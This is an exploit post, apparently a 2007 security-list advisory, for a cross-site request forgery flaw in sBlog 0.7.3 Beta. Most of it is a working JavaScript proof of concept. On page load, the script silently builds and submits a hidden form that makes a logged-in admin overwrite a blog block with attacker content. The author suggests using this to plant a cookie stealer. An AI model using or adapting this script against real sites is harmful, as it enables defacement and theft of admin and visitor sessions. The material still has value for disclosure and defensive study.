sBlog 0.7.3 Beta Cross Site Request Forgery Nov 01 2007 03:39PM
Guns 0x90 com ar
<!--

- Product : sBlog

-

- Version : 0.7.3 Beta

-

- Website : http://www.sblog.se

-

- Author : 0x90

-

- Homepage: WwW.0x90.CoM.Ar

-

- Contact : Guns[at]0x90[dot]com[dot]ar

-

- Problem : Cross Site Request Forgery Vulnerability

-

- Sumary : sBlog has, by default, no CSRF protection, this may allow an attacker

to change any block by tricking a victim with admin privileges

into a special forged web page (even in a a totally different server)

that sends a request to change one block in the web. The

victim does not know that the form was sent. If the victim has admin

privileges the exploit will succeed, otherwise nothing will happen.

-

- Note : I recommend steal the cookie ;)

-

- Greetz : xiam ;) Visit: xiam.be

-->

<script type="text/javascript">

window.onload = function() {

var url = "http://[URL]/blocks_edit_do.php";

var bid = [block id];

var topic = [name block];

var content = [cookie stealer];

var param = {

id: bid,

block_topic: topic,

block_content: content,

block_vis: 1,

block_style: 1,

block_top: 1

};

var form = document.createElement('form');

form.action = url;

form.method = 'post';

form.target = 'hidden';

form.style.display = 'none';

for (var i in param) {

try {

// ie

var input = document.createElement('<input name="'+i+'">');

} catch(e) {

// other browsers

var input = document.createElement('input');

input.name = i;

}

input.setAttribute('value', param[i]);

form.appendChild (input);

}

document.body.appendChild(form);

form.submit();

}

</script>

<iframe name="hidden" style="display: none"></iframe>

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